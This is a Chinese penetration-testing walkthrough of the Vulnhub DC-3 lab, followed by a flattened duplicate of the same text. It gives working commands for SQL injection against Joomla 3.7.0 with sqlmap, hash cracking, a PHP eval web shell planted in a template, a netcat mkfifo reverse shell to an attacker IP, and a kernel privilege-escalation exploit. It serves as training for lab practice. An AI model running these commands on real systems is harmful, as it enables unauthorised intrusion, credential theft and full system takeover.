Vulnhub--DC-3
字数 1111 2025-08-11 21:26:29

Vulnhub DC-3 渗透测试实战教学文档

一、靶机环境部署

1. 下载与导入

  • 下载地址: https://download.vulnhub.com/dc/DC-3-2.zip
  • 解压后导入.ova文件到虚拟机
  • 网络配置建议使用NAT模式

2. 靶机描述

  • 单flag目标
  • 单一入口点
  • 无预设线索

二、信息收集阶段

1. 网络探测

arp-scan -l
  • 确定靶机IP: 192.168.237.145

2. 端口扫描

nmap -A -T4 -p- 192.168.237.145
  • 发现开放80端口
  • 识别为Joomla CMS站点

3. 目录爆破

dirsearch -u http://192.168.237.145/
  • 发现后台登录入口

三、漏洞发现与利用

1. Joomla漏洞扫描

安装Joomscan工具:

sudo apt-get install joomscan

扫描目标:

Joomscan --url http://192.168.237.145
  • 识别Joomla版本: 3.7.0

2. 查找已知漏洞

searchsploit joomla 3.7.0
  • 发现SQL注入漏洞(42033.txt)

3. SQL注入利用

使用sqlmap进行注入:

sqlmap -u "http://192.168.237.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
  • 爆破出5个数据库

爆破joomladb数据库表:

sqlmap -u "http://192.168.237.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
  • 发现76个表,包括#_users表

爆破用户表字段:

sqlmap -u "http://192.168.237.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
  • 发现6个字段

提取用户数据:

sqlmap -u "http://192.168.237.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "id,name,password,username" --dump -p list[fullordering]
  • 获取加密密码

4. 密码破解

使用John the Ripper:

echo '$2y$10$Dpfp42j...' > pass.txt
john pass.txt
  • 解密得到密码: snoopy
  • 使用admin/snoopy登录后台

四、获取Shell

1. 写入Web Shell

  • 在Templates下的error.php中插入:
<?php eval(@$_POST['hack']); ?>

2. 连接Web Shell

  • 使用蚁剑连接
  • 或使用curl/post请求测试

3. 建立反向Shell

攻击机监听:

nc -lvvp 4444

目标机执行:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.237.141 4444 >/tmp/f

升级为交互式Shell:

python -c 'import pty;pty.spawn("/bin/bash")'

五、权限提升

1. 系统信息收集

cat /etc/issue
  • 识别系统: Ubuntu 16.04

2. 查找本地提权漏洞

searchsploit Ubuntu 16.04
  • 发现可用漏洞(39772.txt)

3. 下载并编译提权工具

下载地址:

https://gitee.com/aaaddc/exploitdb-bin-sploits/blob/master/bin-sploits/39772.zip

解压并编译:

unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

4. 验证提权

whoami
  • 确认已获得root权限

六、获取Flag

cd /root
cat the-flag.txt

七、关键知识点总结

  1. 信息收集工具:

    • nmap: 端口扫描
    • dirsearch: 目录爆破
    • arp-scan: 网络探测
  2. 漏洞扫描工具:

    • Joomscan: Joomla专用扫描器
    • searchsploit: 漏洞数据库查询
  3. 漏洞利用工具:

    • sqlmap: SQL注入自动化工具
    • John the Ripper: 密码破解工具
  4. 后渗透技术:

    • Web Shell编写与连接
    • 反向Shell建立
    • 交互式Shell升级
  5. 权限提升技术:

    • 系统版本识别
    • 本地提权漏洞利用
    • 提权工具编译与执行
  6. 工作流程:

    • 信息收集 → 漏洞发现 → 漏洞利用 → 权限提升 → 获取目标

八、注意事项

  1. 实际环境中需获得授权方可进行测试
  2. 部分工具可能需要调整参数以适应不同环境
  3. 提权漏洞利用可能因系统补丁状态而有所不同
  4. 保持工具和漏洞数据库的及时更新
Vulnhub DC-3 渗透测试实战教学文档 一、靶机环境部署 1. 下载与导入 下载地址: https://download.vulnhub.com/dc/DC-3-2.zip 解压后导入.ova文件到虚拟机 网络配置建议使用NAT模式 2. 靶机描述 单flag目标 单一入口点 无预设线索 二、信息收集阶段 1. 网络探测 确定靶机IP: 192.168.237.145 2. 端口扫描 发现开放80端口 识别为Joomla CMS站点 3. 目录爆破 发现后台登录入口 三、漏洞发现与利用 1. Joomla漏洞扫描 安装Joomscan工具: 扫描目标: 识别Joomla版本: 3.7.0 2. 查找已知漏洞 发现SQL注入漏洞(42033.txt) 3. SQL注入利用 使用sqlmap进行注入: 爆破出5个数据库 爆破joomladb数据库表: 发现76个表,包括#_ users表 爆破用户表字段: 发现6个字段 提取用户数据: 获取加密密码 4. 密码破解 使用John the Ripper: 解密得到密码: snoopy 使用admin/snoopy登录后台 四、获取Shell 1. 写入Web Shell 在Templates下的error.php中插入: 2. 连接Web Shell 使用蚁剑连接 或使用curl/post请求测试 3. 建立反向Shell 攻击机监听: 目标机执行: 升级为交互式Shell: 五、权限提升 1. 系统信息收集 识别系统: Ubuntu 16.04 2. 查找本地提权漏洞 发现可用漏洞(39772.txt) 3. 下载并编译提权工具 下载地址: 解压并编译: 4. 验证提权 确认已获得root权限 六、获取Flag 七、关键知识点总结 信息收集工具 : nmap: 端口扫描 dirsearch: 目录爆破 arp-scan: 网络探测 漏洞扫描工具 : Joomscan: Joomla专用扫描器 searchsploit: 漏洞数据库查询 漏洞利用工具 : sqlmap: SQL注入自动化工具 John the Ripper: 密码破解工具 后渗透技术 : Web Shell编写与连接 反向Shell建立 交互式Shell升级 权限提升技术 : 系统版本识别 本地提权漏洞利用 提权工具编译与执行 工作流程 : 信息收集 → 漏洞发现 → 漏洞利用 → 权限提升 → 获取目标 八、注意事项 实际环境中需获得授权方可进行测试 部分工具可能需要调整参数以适应不同环境 提权漏洞利用可能因系统补丁状态而有所不同 保持工具和漏洞数据库的及时更新